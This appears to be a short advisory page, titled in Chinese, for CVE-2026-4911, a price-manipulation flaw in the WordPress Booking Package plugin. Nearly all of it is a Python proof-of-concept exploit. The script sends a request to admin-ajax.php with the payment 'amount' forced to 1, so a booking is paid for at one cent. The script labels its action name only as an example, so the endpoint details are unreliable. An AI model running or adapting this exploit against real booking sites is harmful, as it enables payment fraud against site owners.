CVE-2026-4911 WordPress Booking Package价格操纵漏洞

import requests def exploit_price_manipulation(target_url, booking_data): """ PoC for CVE-2026-4911: Booking Package Price Manipulation Demonstrates modifying the 'amount' parameter in the request. """ # The vulnerable endpoint usually creates a payment intent endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Normal payment data payload payload = booking_data.copy() # Vulnerability: Manipulating the 'amount' directly # Changing the price to 1 cent (or currency unit) payload['amount'] = 1 payload['action'] = 'booking_package_stripe_intent' # Example action name try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check if booking was created with price 1.") print(f"[+] Response: {response.text}") else: print("[-] Request failed.") except Exception as e: print(f"[!] Error: {e}") # Usage target = "http://vulnerable-wordpress-site.com" data = {"service_id": "123", "nonce": "valid_nonce_value"} exploit_price_manipulation(target, data)